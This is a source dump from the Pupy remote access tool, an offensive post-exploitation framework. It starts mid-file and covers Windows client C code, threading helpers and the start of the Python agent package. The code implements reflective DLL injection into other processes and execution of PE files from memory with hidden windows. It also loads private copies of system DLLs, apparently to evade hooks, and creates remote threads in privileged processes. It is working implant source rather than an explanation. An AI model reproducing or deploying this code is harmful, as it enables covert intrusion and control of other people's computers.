modules); Py_DECREF(name); if (PyErr_Occurred()) { dprint("error at the end\n"); return NULL; } /* Retrieve from sys.modules */ return PyImport_ImportModule(modname); } static PyMethodDef methods[] = { { "is_shared", Py_is_shared_object, METH_NOARGS, DOC("Client is shared object") }, { "_set_shared", Py_set_is_shared_object, METH_NOARGS, DOC("") }, { "get_arch", Py_get_arch, METH_NOARGS, DOC("get current pupy architecture (x86 or x64)") }, { "reflective_inject_dll", Py_reflective_inject_dll, METH_VARARGS|METH_KEYWORDS, DOC("reflective_inject_dll(pid, dll_buffer, isRemoteProcess64bits)\nreflectively inject a dll into a process. raise an Exception on failure") }, { "mexec", Py_mexec, METH_VARARGS|METH_KEYWORDS, DOC("mexec(cmdline, raw_pe, redirected_stdio=True, hidden=True)") }, { "import_module", import_module, METH_VARARGS, "import_module(data, size, initfuncname, path) -> module" }, { "load_dll", Py_load_dll, METH_VARARGS, DOC("load_dll(dllname, raw_dll) -> ptr") }, { "set_exit_session_callback", Py_set_exit_session_callback, METH_VARARGS, DOC("set_exit_session_callback(function)")}, { "find_function_address", Py_find_function_address, METH_VARARGS, DOC("find_function_address(dllname, function) -> address") }, { NULL, NULL}, /* Sentinel */ }; static struct PyModuleDef PupyModuleDef = { PyModuleDef_HEAD_INIT, "_pupy", /* name of module */ "", /* module documentation, may be NULL */ -1, /* size of per-interpreter state of the module, or -1 if the module keeps state in global variables. */ methods }; #ifdef _PUPY_DYNLOAD #define FUNC_EXPORT PyMODINIT_FUNC #else #define FUNC_EXPORT void * #endif FUNC_EXPORT PyInit__pupy(void) { PyObject *pupy; //PyObject *pupy = Py_InitModule3("_pupy", methods, module_doc); dprint("creating pupy module ...\n"); pupy = PyModule_Create(&PupyModuleDef); if (!pupy) { return NULL; } dprint("adding string constant ...\n"); PyModule_AddStringConstant(pupy, "revision", GIT_REVISION_HEAD); ExecError = PyErr_NewException("_pupy.error", NULL, NULL); Py_XINCREF(ExecError); if (PyModule_AddObject(pupy, "error", ExecError) < 0) { Py_XDECREF(ExecError); Py_CLEAR(ExecError); Py_DECREF(pupy); return NULL; } dprint("returning module %x ...\n", pupy); return pupy; } BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) { DWORD threadId; BOOL bReturnValue = TRUE; dprint("Call DllMain (_pupy) %d/%p\n", dwReason, lpReserved); switch( dwReason ) { case DLL_QUERY_HMODULE: if( lpReserved != NULL ) *(HMODULE *)lpReserved = hAppInstance; break; case DLL_THREAD_ATTACH: break; case DLL_PROCESS_ATTACH: hAppInstance = hinstDLL; if (lpReserved > 0xFFFF) { _pupy_pyd_args_t *args = (_pupy_pyd_args_t*) lpReserved; if (args->pvMemoryLibraries) { MySetLibraries(args->pvMemoryLibraries); } args->cbExit = on_exit_session; args->blInitialized = TRUE; } return TRUE; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: dprint("Should not happen?\n"); return TRUE; } dprint("Call DllMain - completed\n"); return bReturnValue; } ================================================ FILE: client/sources-windows-py3/pupy_load.c ================================================ /* # Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) # Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms */ #include #include #include "revision.h" #include "pupy_load.h" #include "debug.h" #include "Python-dynload.c" #ifdef POSTMORTEM #include "postmortem.h" #include "postmortem.c" #endif #ifdef _PUPY_DYNLOAD #ifdef DEBUG #include "_pupy_debug_pyd.c" #define _pupy_pyd_c_start _pupy_debug_pyd_c_start #define _pupy_pyd_c_size _pupy_debug_pyd_c_size #else #include "_pupy_pyd.c" #endif #endif #define WINDOW_CLASS_NAME "DummyWindowClass" static on_exit_session_t on_exit_session_cb = NULL; static BOOL on_exit_session_called = FALSE; typedef LPWSTR* (*CommandLineToArgvW_t)( LPCWSTR lpCmdLine, int *pNumArgs ); typedef VOID (*__p_set_abort_behavior_t)(DWORD, DWORD); typedef VOID (__cdecl *signal_t) ( int sig, void (__cdecl *func ) (int) ); #ifdef DEBUG // Redirect early stdout to some file static void redirect_stdout() { FILE* new_log; char tmpdir[MAX_PATH]; char tmp[MAX_PATH]; dprint("Redirect stdout requested\n"); if (!GetTempPathA(sizeof(tmpdir), tmpdir)) return; dprint("Redirect stdout, tmpdir: %s\n", tmpdir); if (!GetTempFileNameA( tmpdir, "pup", 0, tmp)) return; set_debug_log(tmp); } #endif // https://stackoverflow.com/questions/291424/ static LPSTR* CommandLineToArgvA(INT *pNumArgs) { LPWSTR cmdline; LPWSTR* args; LPSTR* result; LPSTR buffer; int retval; int numArgs; int storage; int bufLen; int i; static CommandLineToArgvW_t CommandLineToArgvW_ = NULL; if (!CommandLineToArgvW_) { HMODULE hShell32 = LoadLibrary("SHELL32.DLL"); CommandLineToArgvW_ = (CommandLineToArgvW_t) GetProcAddress( hShell32, "CommandLineToArgvW"); dprint("CommandLineToArgvW: %p\n", CommandLineToArgvW_); } if (!CommandLineToArgvW_) { dprint("Failed to load CommandLineToArgvW from SHELL32.DLL\n"); *pNumArgs = 0; return NULL; } numArgs = 0; cmdline = GetCommandLineW(); if (!cmdline) { dprint("Command line not found"); *pNumArgs = 0; return NULL; } args = CommandLineToArgvW_(cmdline, &numArgs); if (args == NULL) { *pNumArgs = 0; return NULL; } storage = numArgs * sizeof(LPSTR); for (i = 0; i < numArgs; ++ i) { retval = WideCharToMultiByte( CP_UTF8, 0, args[i], -1, NULL, 0, NULL, NULL ); if (!SUCCEEDED(retval)) { LocalFree(args); *pNumArgs = 0; return NULL; } storage += retval; } result = (LPSTR*)LocalAlloc(LMEM_FIXED, storage); if (result == NULL) { LocalFree(args); *pNumArgs = 0; return NULL; } bufLen = storage - (numArgs * sizeof(LPSTR)); buffer = ((LPSTR)result) + (numArgs * sizeof(LPSTR)); for (i = 0; i < numArgs; ++ i) { if (bufLen < 0) { dprint("Buflen exhaused, arg %d (%d/%d)\n", i, bufLen, storage); numArgs = i; break; } retval = WideCharToMultiByte( CP_UTF8, 0, args[i], -1, buffer, bufLen, NULL, NULL ); if (!SUCCEEDED(retval)) { LocalFree(result); LocalFree(args); *pNumArgs = i; return NULL; } result[i] = buffer; buffer += retval; bufLen -= retval; } LocalFree(args); *pNumArgs = numArgs; return result; } #ifdef _PUPY_PRIVATE_NT typedef BOOL (WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL); static const PSTR NtDllAllowedPrefixes[] = { "Nt", "RtlAdjust", "RtlAllocate", "RtlConnect", NULL }; static const PSTR Kernel32AllowedPrefixes[] = { "Open", "CreateRemote", "CreateFile", "Write", "Read", "Terminate", "Resume", "Virtual", "Reg", NULL }; #endif static LONG WINAPI OnThreadCrash(PVOID ExceptionInfo) { #ifdef POSTMORTEM LONG lVerdict = Postmortem(ExceptionInfo); #else LONG lVerdict = 0; #endif if (on_exit_session_cb && !on_exit_session_called) { dprint("Try to notify about client death\n"); on_exit_session_called = TRUE; on_exit_session_cb(); dprint("Try to notify about client death - done\n"); } if (ExceptionInfo == NULL) { dprint("Non-Exception crash. Terminate process\n"); TerminateProcess(GetCurrentProcess(), 0); } return lVerdict; } void OnAbortHandler(int signum) { dprint("Get abort() exception!\n"); OnThreadCrash(NULL); } void initialize(BOOL isDll) { int i, argc = 0; char **argv = NULL; char *oldcontext; #ifdef _PUPY_DYNLOAD _pupy_pyd_args_t args; #endif #ifdef _PUPY_PRIVATE_NT HMODULE hNtDll = GetModuleHandleA("NTDLL.DLL"); HMODULE hKernelBase = GetModuleHandleA("KERNELBASE.DLL"); HMODULE hKernel32 = GetModuleHandleA("KERNEL32.DLL"); #ifdef _PUPY_PRIVATE_WS2_32 HMODULE hWs2_32 = LoadLibraryA("WS2_32.DLL"); #endif #ifdef WIN_X64 BOOL blIsWow64 = FALSE; #else BOOL blIsWow64 = TRUE; LPFN_ISWOW64PROCESS fnIsWow64Process = (LPFN_ISWOW64PROCESS) GetProcAddress( hKernel32, "IsWow64Process"); if (fnIsWow64Process) fnIsWow64Process(GetCurrentProcess(),&blIsWow64); #endif if (!blIsWow64 && hNtDll && hKernel32 && hKernelBase) { HMODULE hPrivate; dprint("Loading private copy of NTDLL/KERNELBASE\n"); hPrivate = MyLoadLibraryEx( "NTDLL.DLL", hNtDll, NULL, NtDllAllowedPrefixes, MEMORY_LOAD_FROM_HMODULE | MEMORY_LOAD_EXPORT_FILTER_PREFIX ); if (hPrivate) { dprint( "Private copy of NTDLL.DLL loaded to %p (orig: %p)\n", hPrivate, hNtDll ); hPrivate = MyLoadLibraryEx( "KERNEL32.DLL", hKernelBase, hKernel32, Kernel32AllowedPrefixes, MEMORY_LOAD_FROM_HMODULE | MEMORY_LOAD_ALIASED | \ MEMORY_LOAD_EXPORT_FILTER_PREFIX | \ MEMORY_LOAD_NO_EP ); if (hPrivate) { dprint( "Private copy of KERNELBASE.DLL loaded to %p as KERNEL32 (orig: %p)\n", hPrivate, hKernel32 ); } else { dprint("PRIVATE LOAD OF KERNEL32 FAILED\n"); } #ifdef _PUPY_PRIVATE_WS2_32 hPrivate = MyLoadLibraryEx( "WS2_32.DLL", hWs2_32, NULL, NULL, MEMORY_LOAD_FROM_HMODULE ); if (hPrivate) { dprint( "Private copy of WS2_32.DLL loaded to %p (orig %p)\n", hPrivate, hWs2_32 ); FreeLibrary(hWs2_32); } else { dprint("PRIVATE LOAD OF WS2_32 FAILED\n"); } #endif } } #endif dprint("TEMPLATE REV: %s\n", GIT_REVISION_HEAD); #ifdef DEBUG redirect_stdout(); #endif dprint("Parsing command line..\n"); argv = CommandLineToArgvA(&argc); for (i=0; i typedef VOID (*on_exit_session_t)(VOID); #ifdef _PUPY_DYNLOAD typedef struct _pupy_pyd_args { PVOID *pvMemoryLibraries; on_exit_session_t cbExit; BOOL blInitialized; } _pupy_pyd_args_t; #else void on_exit_session(void); #endif void initialize(BOOL isDll); DWORD WINAPI execute(LPVOID lpArg); void deinitialize(); void setup_jvm_class(); #endif ================================================ FILE: client/sources-windows-py3/remote_thread.c ================================================ //#include "common.h" #include #include "debug.h" #include "remote_thread.h" /*! @brief Container structure for a client identifer used when creating remote threads with RtlCreateUserThread. */ typedef struct _MIMI_CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; } CLIENTID; /*! @brief Function pointer type for the RtlCreateUserThread function in ntdll.dll */ typedef NTSTATUS (WINAPI * PRtlCreateUserThread)( HANDLE, PSECURITY_DESCRIPTOR, BOOL, ULONG, SIZE_T, SIZE_T, PTHREAD_START_ROUTINE, PVOID, PHANDLE, CLIENTID* ); typedef DWORD (WINAPI *PGetThreadId)(HANDLE Thread); /*! @brief Reference to the loaded RtlCreateUserThread function pointer. */ static PRtlCreateUserThread pRtlCreateUserThread = NULL; static PGetThreadId fGetThreadId = NULL; /*! @brief Indication of whether an attempt to locate the pRtlCreateUserThread pointer has been made. */ static BOOL pRtlCreateUserThreadAttempted = FALSE; /*! * @brief Helper function for creating a remote thread in a privileged process. * @param hProcess Handle to the target process. * @param sStackSize Size of the stack to use (if unsure, specify 0). * @param pvStartAddress Pointer to the function entry point that has been loaded into the target. * @param pvStartParam Pointer to the parameter to pass to the thread function. * @param dwCreateFlags Creation flags to use when creating the new thread. * @param pdwThreadId Pointer to the buffer that will receive the thread ID (optional). * @return Handle to the new thread. * @retval NULL Indicates an error, which can be retrieved with \c GetLastError(). * @remark This function has been put in place to wrap up the handling of creating remote threads * in privileged processes across all operating systems. In Windows XP and earlier, the * \c CreateRemoteThread() function was sufficient to handle this case, however this changed * in Vista and has been that way since. For Vista onwards, the use of the hidden API function * \c RtlCreateUserThread() is required. This function attempts to use \c CreateRemoteThread() * first and if that fails it will fall back to \c RtlCreateUserThread(). This means that the * existing behaviour is kept for when running on XP and earlier, or when the user is already * running within a privileged process. */ HANDLE create_remote_thread(HANDLE hProcess, SIZE_T sStackSize, LPVOID pvStartAddress, LPVOID pvStartParam, DWORD dwCreateFlags, LPDWORD pdwThreadId) { NTSTATUS ntResult; BOOL bCreateSuspended; DWORD dwThreadId; HANDLE hThread; if (pdwThreadId == NULL) { pdwThreadId = &dwThreadId; } hThread = CreateRemoteThread( hProcess, NULL, sStackSize, (LPTHREAD_START_ROUTINE) pvStartAddress, pvStartParam, dwCreateFlags, pdwThreadId ); dprint("[REMOTETHREAD] CreateRemoteThread hThread = %p, ret=%d\n", hThread, GetLastError()); // ERROR_NOT_ENOUGH_MEMORY is returned when the function fails due to insufficient privs // on Vista and later. if (GetLastError() == ERROR_NOT_ENOUGH_MEMORY) { dprint("[REMOTETHREAD] CreateRemoteThread seems to lack permissions, trying alternative options\n"); hThread = NULL; // Only attempt to load the function pointer if we haven't attempted it already. if (!pRtlCreateUserThreadAttempted) { if (pRtlCreateUserThread == NULL) { pRtlCreateUserThread = (PRtlCreateUserThread) GetProcAddress( GetModuleHandleA("NTDLL.DLL"), "RtlCreateUserThread"); fGetThreadId = (PGetThreadId) GetProcAddress( GetModuleHandleA("KERNEL32.DLL"), "GetThreadId"); if (pRtlCreateUserThread) { dprint("[REMOTETHREAD] RtlCreateUserThread found at %p\n", pRtlCreateUserThread); } else { dprint("[REMOTETHREAD] RtlCreateUserThread not found\n"); } } pRtlCreateUserThreadAttempted = TRUE; } // if at this point we don't have a valid pointer, it means that we don't have this function available // on the current OS if (pRtlCreateUserThread && fGetThreadId) { dprint("[REMOTETHREAD] Attempting thread creation with RtlCreateUserThread\n"); bCreateSuspended = (dwCreateFlags & CREATE_SUSPENDED) == CREATE_SUSPENDED; ntResult = pRtlCreateUserThread( hProcess, NULL, bCreateSuspended, 0, 0, 0, (PTHREAD_START_ROUTINE) pvStartAddress, pvStartParam, &hThread, NULL ); SetLastError(ntResult); dprint("[REMOTETHREAD] Created: %p (ret=%d)\n", hThread, ntResult); if (ntResult == 0 && pdwThreadId) { *pdwThreadId = fGetThreadId(hThread); dprint("[REMOTETHREAD] Thread ID: %08x\n", *pdwThreadId); } } else { // restore the previous error so that it looks like we haven't done anything else SetLastError(ERROR_NOT_ENOUGH_MEMORY); } } return hThread; } ================================================ FILE: client/sources-windows-py3/remote_thread.h ================================================ #ifndef _METERPRETER_REMOTE_THREAD_H #define _METERPRETER_REMOTE_THREAD_H HANDLE create_remote_thread(HANDLE hProcess, SIZE_T sStackSize, LPVOID pvStartAddress, LPVOID pvStartParam, DWORD dwCreateFlags, LPDWORD pdwThreadId); #endif ================================================ FILE: client/sources-windows-py3/resource_python_manifest.c ================================================ #ifdef _WIN64 const char resource_python_manifest[]="\n" "\n" "\n" "\n" "\n" "\n" "\n" "\n" "\n" "\n" "\n" "\n" "\n" "\n" "\n"; #else const char resource_python_manifest[]="\n" "\n" "\n" "\n" "\n" "\n" "\n" "\n" "\n" "\n" "\n" "\n" "\n" "\n" "\n"; #endif ================================================ FILE: client/sources-windows-py3/thread.c ================================================ #include #include #include #include "thread.h" #ifndef _WIN32 #include int __futex_wait(volatile void *ftx, int val, const struct timespec *timeout); int __futex_wake(volatile void *ftx, int count); #include #include #endif // thread.c contains wrappers for the primitives of locks, events and threads for use in // the multithreaded meterpreter. This is the win32/win64 implementation. /*****************************************************************************************/ /* * Create a new lock. We choose Mutex's over CriticalSections as their appears to be an issue * when using CriticalSections with OpenSSL on some Windows systems. Mutex's are not as optimal * as CriticalSections but they appear to resolve the OpenSSL deadlock issue. */ LOCK * lock_create( VOID ) { LOCK * lock = (LOCK *)malloc( sizeof( LOCK ) ); if( lock != NULL ) { memset( lock, 0, sizeof( LOCK ) ); #ifdef _WIN32 lock->handle = CreateMutex( NULL, FALSE, NULL ); #else pthread_mutex_init(lock->handle, NULL); #endif } return lock; } /* * Destroy a lock that is no longer required. */ VOID lock_destroy( LOCK * lock ) { if( lock != NULL ) { lock_release( lock ); #ifdef _WIN32 CloseHandle( lock->handle ); #else pthread_mutex_destroy(lock->handle); #endif free( lock ); } } /* * Acquire a lock and block untill it is acquired. */ VOID lock_acquire( LOCK * lock ) { if( lock != NULL ) { #ifdef _WIN32 WaitForSingleObject( lock->handle, INFINITE ); #else pthread_mutex_lock(lock->handle); #endif } } /* * Release a lock previously held. */ VOID lock_release( LOCK * lock ) { if( lock != NULL ) { #ifdef _WIN32 ReleaseMutex( lock->handle ); #else pthread_mutex_unlock(lock->handle); #endif } } /*****************************************************************************************/ /* * Create a new event which can be signaled/polled/and blocked on. */ EVENT * event_create( VOID ) { EVENT * event = NULL; event = (EVENT *)malloc( sizeof( EVENT ) ); if( event == NULL ) return NULL; memset( event, 0, sizeof( EVENT ) ); #ifdef _WIN32 event->handle = CreateEvent( NULL, FALSE, FALSE, NULL ); if( event->handle == NULL ) { free( event ); return NULL; } #endif return event; } /* * Destroy an event. */ BOOL event_destroy( EVENT * event ) { if( event == NULL ) return FALSE; #ifdef _WIN32 CloseHandle( event->handle ); #endif free( event ); return TRUE; } /* * Signal an event. */ BOOL event_signal( EVENT * event ) { if( event == NULL ) return FALSE; #ifdef _WIN32 //dprintf( "Signalling 0x%x", event->handle ); if( SetEvent( event->handle ) == 0 ) { //dprintf( "Signalling 0x%x failed %u", event->handle, GetLastError() ); return FALSE; } #else event->handle = (HANDLE)1; __futex_wake(&(event->handle), 1); #endif return TRUE; } /* * Poll an event to see if it has been signaled. Set timeout to -1 to block indefinatly. * If timeout is 0 this function does not block but returns immediately. */ BOOL event_poll( EVENT * event, DWORD timeout ) { #ifdef _WIN32 if( event == NULL ) return FALSE; if( WaitForSingleObject( event->handle, timeout ) == WAIT_OBJECT_0 ) return TRUE; return FALSE; #else BOOL result = FALSE; // DWORD WINAPI WaitForSingleObject( // __in HANDLE hHandle, // __in DWORD dwMilliseconds // ); // http://msdn.microsoft.com/en-us/library/ms687032(VS.85).aspx if( event == NULL ) return FALSE; if(timeout) { struct timespec ts; // XXX, need to verify for -1. below modified from bionic/pthread.c // and maybe loop if needed ;\ ts.tv_sec = timeout / 1000; ts.tv_nsec = (timeout%1000)*1000000; if (ts.tv_nsec >= 1000000000) { ts.tv_sec++; ts.tv_nsec -= 1000000000; } // atomically checks if event->handle is 0, if so, // it sleeps for timeout. if event->handle is 1, it // returns straight away. __futex_wait(&(event->handle), 0, &ts); } // We should behave like an auto-reset event result = event->handle ? TRUE : FALSE; if( result ) event->handle = (HANDLE)0; return result; #endif } /*****************************************************************************************/ /* * Opens and create a THREAD item for the current/calling thread. */ THREAD * thread_open( VOID ) { THREAD * thread = NULL; #ifdef _WIN32 OPENTHREAD pOpenThread = NULL; HMODULE hKernel32 = NULL; thread = (THREAD *)malloc( sizeof( THREAD ) ); if( thread != NULL ) { memset( thread, 0, sizeof(THREAD) ); thread->id = GetCurrentThreadId(); thread->sigterm = event_create(); // Windows specific process of opening a handle to the current thread which // works on NT4 up. We only want THREAD_TERMINATE|THREAD_SUSPEND_RESUME access // for now. // First we try to use the normal OpenThread function, available on Windows 2000 and up... hKernel32 = LoadLibrary( "kernel32.dll" ); pOpenThread = (OPENTHREAD)GetProcAddress( hKernel32, "OpenThread" ); if( pOpenThread ) { thread->handle = pOpenThread( THREAD_TERMINATE|THREAD_SUSPEND_RESUME, FALSE, thread->id ); } else { NTOPENTHREAD pNtOpenThread = NULL; // If we can't use OpenThread, we try the older NtOpenThread function as found on NT4 machines. HMODULE hNtDll = LoadLibrary( "ntdll.dll" ); pNtOpenThread = (NTOPENTHREAD)GetProcAddress( hNtDll, "NtOpenThread" ); if( pNtOpenThread ) { _OBJECT_ATTRIBUTES oa = {0}; _CLIENT_ID cid = {0}; cid.UniqueThread = (PVOID)thread->id; pNtOpenThread( &thread->handle, THREAD_TERMINATE|THREAD_SUSPEND_RESUME, &oa, &cid ); } FreeLibrary( hNtDll ); } FreeLibrary( hKernel32 ); } return thread; #else thread = (THREAD *)malloc( sizeof( THREAD ) ); if( thread != NULL ) { memset( thread, 0, sizeof(THREAD) ); thread->id = gettid(); thread->sigterm = event_create(); thread->pid = pthread_self(); } return thread; #endif } #ifndef _WIN32 struct thread_conditional { pthread_mutex_t suspend_mutex; pthread_cond_t suspend_cond; int engine_running; LPVOID (*funk)(void *arg); THREAD *thread; }; void __thread_cancelled(int signo) { signal(SIGTERM, SIG_DFL); pthread_exit(NULL); } /* * This is the entry point for threads created with thread_create. * * To implement suspended threads, we need to do some messing around with * mutexes and conditional broadcasts ;\ */ void *__paused_thread(void *req) { LPVOID (*funk)(void *arg); THREAD *thread; struct thread_conditional *tc = (struct thread_conditional *)(req); tc->thread->id = gettid(); signal(SIGTERM, __thread_cancelled); pthread_mutex_lock(&tc->suspend_mutex); while(tc->engine_running == FALSE) { pthread_cond_wait(&tc->suspend_cond, &tc->suspend_mutex); } pthread_mutex_unlock(&tc->suspend_mutex); funk = tc->funk; thread = tc->thread; free(tc); if(event_poll(thread->sigterm, 0) == TRUE) { /* * In some cases, we might want to stop a thread before it does anything :/ */ return NULL; } return funk(thread); } #endif /* * Create a new thread in a suspended state. */ THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2, LPVOID param3 ) { THREAD * thread = NULL; if( funk == NULL ) return NULL; thread = (THREAD *)malloc( sizeof( THREAD ) ); if( thread == NULL ) return NULL; memset( thread, 0, sizeof( THREAD ) ); thread->sigterm = event_create(); if( thread->sigterm == NULL ) { free( thread ); return NULL; } thread->parameter1 = param1; thread->parameter2 = param2; thread->parameter3 = param3; #ifdef _WIN32 thread->handle = CreateThread( NULL, 0, funk, thread, CREATE_SUSPENDED, &thread->id ); if( thread->handle == NULL ) { event_destroy( thread->sigterm ); free( thread ); return NULL; } #else // PKS, this is fucky. // we need to use conditionals to implement this. thread->thread_started = FALSE; do { pthread_t pid; struct thread_conditional *tc; tc = (struct thread_conditional *) malloc(sizeof(struct thread_conditional)); if( tc == NULL ) { event_destroy(thread->sigterm); free(thread); return NULL; } memset( tc, 0, sizeof(struct thread_conditional)); pthread_mutex_init(&tc->suspend_mutex, NULL); pthread_cond_init(&tc->suspend_cond, NULL); tc->funk = funk; tc->thread = thread; thread->suspend_thread_data = (void *)(tc); if(pthread_create(&(thread->pid), NULL, __paused_thread, tc) == -1) { free(tc); event_destroy(thread->sigterm); free(thread); return NULL; } // __paused_thread free's the allocated memory. } while(0); #endif return thread; } /* * Run a thread. */ BOOL thread_run( THREAD * thread ) { if( thread == NULL ) return FALSE; #ifdef _WIN32 if( ResumeThread( thread->handle ) < 0 ) return FALSE; #else struct thread_conditional *tc; tc = (struct thread_conditional *)thread->suspend_thread_data; pthread_mutex_lock(&tc->suspend_mutex); tc->engine_running = TRUE; pthread_mutex_unlock(&tc->suspend_mutex); pthread_cond_signal(&tc->suspend_cond); thread->thread_started = TRUE; #endif return TRUE; } /* * Signals the thread to terminate. It is the responsibility of the thread to wait for and process this signal. * Should be used to signal the thread to terminate. */ BOOL thread_sigterm( THREAD * thread ) { BOOL ret; if( thread == NULL ) return FALSE; ret = event_signal( thread->sigterm ); #ifndef _WIN32 /* * If we sig term a thread before it's started execution, we will leak memory / not be * able to join on the thread, etc. * * Therefore, we need to start the thread executing before calling thread_join */ if(thread->thread_started != TRUE) { thread_run(thread); } #endif return ret; } /* * Terminate a thread. Use with caution! better to signal your thread to terminate and wait for it to do so. */ BOOL thread_kill( THREAD * thread ) { if( thread == NULL ) return FALSE; #ifdef _WIN32 if( TerminateThread( thread->handle, -1 ) == 0 ) return FALSE; return TRUE; #else // bionic/libc/bionic/CAVEATS // - pthread cancellation is *not* supported. this seemingly simple "feature" is the source // of much bloat and complexity in a C library. Besides, you'd better write correct // multi-threaded code instead of relying on this stuff. // pthread_kill says: Note that pthread_kill() only causes the // signal to be handled in the context of the given thread; the signal // action (termination or stopping) affects the process as a whole. // We send our thread a SIGTERM, and a signal handler calls pthread_exit(). pthread_kill(thread->id, SIGTERM); return FALSE; #endif } /* * Blocks untill the thread has terminated. */ BOOL thread_join( THREAD * thread ) { if( thread == NULL ) return FALSE; #ifdef _WIN32 if( WaitForSingleObject( thread->handle, INFINITE ) == WAIT_OBJECT_0 ) return TRUE; return FALSE; #else if(pthread_join(thread->pid, NULL) == 0) return TRUE; return FALSE; #endif } /* * Destroys a previously created thread. Note, this does not terminate the thread. You must signal your * thread to terminate and wait for it to do so (via thread_signal/thread_join). */ BOOL thread_destroy( THREAD * thread ) { if( thread == NULL ) return FALSE; event_destroy( thread->sigterm ); #ifdef _WIN32 CloseHandle( thread->handle ); #else pthread_detach(thread->pid); #endif free( thread ); return TRUE; } ================================================ FILE: client/sources-windows-py3/thread.h ================================================ #ifndef _METERPRETER_LIB_THREAD_H #define _METERPRETER_LIB_THREAD_H #ifdef _WIN32 /*****************************************************************************************/ // Win32/64 specific definitions... typedef struct __UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } _UNICODE_STRING, * _PUNICODE_STRING; typedef struct __OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; _PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } _OBJECT_ATTRIBUTES, * _POBJECT_ATTRIBUTES; typedef struct __CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; } _CLIENT_ID, * _PCLIENT_ID; typedef HANDLE (WINAPI * OPENTHREAD)( DWORD, BOOL, DWORD ); // kernel32!OpenThread typedef DWORD (WINAPI * NTOPENTHREAD)( PHANDLE, ACCESS_MASK, _POBJECT_ATTRIBUTES, _PCLIENT_ID ); // ntdll!NtOpenThread /*****************************************************************************************/ #else #include "pthread.h" #endif // _WIN32 typedef struct _LOCK { #ifdef _WIN32 HANDLE handle; #else pthread_mutex_t *handle; #endif // _WIN32 } LOCK, * LPLOCK; typedef struct _EVENT { HANDLE handle; } EVENT, * LPEVENT; typedef struct _THREAD { DWORD id; HANDLE handle; EVENT * sigterm; LPVOID parameter1; LPVOID parameter2; LPVOID parameter3; #ifndef _WIN32 void *suspend_thread_data; pthread_t pid; int thread_started; #endif } THREAD, * LPTHREAD; #ifdef __GNUC__ #define THREADCALL __attribute__((stdcall)) #else // ! gcc #define THREADCALL __stdcall #endif typedef DWORD (THREADCALL * THREADFUNK)( THREAD * thread ); /*****************************************************************************************/ LOCK * lock_create( VOID ); VOID lock_destroy( LOCK * lock ); VOID lock_acquire( LOCK * lock ); VOID lock_release( LOCK * lock ); /*****************************************************************************************/ EVENT * event_create( VOID ); BOOL event_destroy( EVENT * event ); BOOL event_signal( EVENT * event ); BOOL event_poll( EVENT * event, DWORD timeout ); /*****************************************************************************************/ THREAD * thread_open( VOID ); THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2, LPVOID param3 ); BOOL thread_run( THREAD * thread ); BOOL thread_sigterm( THREAD * thread ); BOOL thread_kill( THREAD * thread ); BOOL thread_join( THREAD * thread ); BOOL thread_destroy( THREAD * thread ); /*****************************************************************************************/ #endif ================================================ FILE: pupy/.dockerignore ================================================ Dockerfile .dockerignore **/.git **/.gitignore **/*.exp **/*.lib crypto/credentials.py data external/winpty external/scapy **/__pycache__* **/test? packages/src **/*.pyc **/*.pyo ================================================ FILE: pupy/__init__.py ================================================ ================================================ FILE: pupy/agent/__init__.py ================================================ # -*- coding: utf-8 -*- # ------------------------------------------------------------------------------ # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # 1. Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # # 2. Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # # 3. Neither the name of the copyright holder nor the names of its contributors # may be used to endorse or promote products derived from this software # without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE # ------------------------------------------------------------------------------ # Public API __all__ = ( 'EXTS_SOURCES', 'EXTS_COMPILED', 'EXTS_NATIVE', 'EXTS_ALL', 'Blackhole', 'DummyPackageLoader', 'PupyPackageLoader', 'config', 'dlls', 'client', 'revision', 'namespace', 'set_broadcast_event', 'broadcast_event', 'obtain', 'manager', 'Task', 'Manager', 'is_supported', 'is_native', 'make_module', 'get_arch', 'load_dll', 'is_shared', 'reflective_inject_dll', 'ld_preload_inject_dll', 'mexec', 'set_exit_session_callback', 'find_function_address', 'set_pupy_config', 'set_debug', 'get_debug', 'dprint', 'remote_error', 'get_logger', 'get_pending_log', 'update_module_dict', 'main' ) import sys import marshal import gc import _imp os_ = None for module in ('nt', 'posix'): if module in sys.builtin_module_names: os_ = __import__(module) import importlib.util as imputil if sys.version_info.major > 2: xrange = range def _stub(*args, **kwargs): raise NotImplementedError() def is_supported(function): return hasattr(function, '__call__') and function != _stub # Pupy client API client = None config = {} try: import _pupy # Reset search paths ASAP #del sys.meta_path[:] # removing path imports from meta_path import _frozen_importlib_external if _frozen_importlib_external.PathFinder in sys.meta_path: sys.meta_path.remove(_frozen_importlib_external.PathFinder) del sys.path[:] del 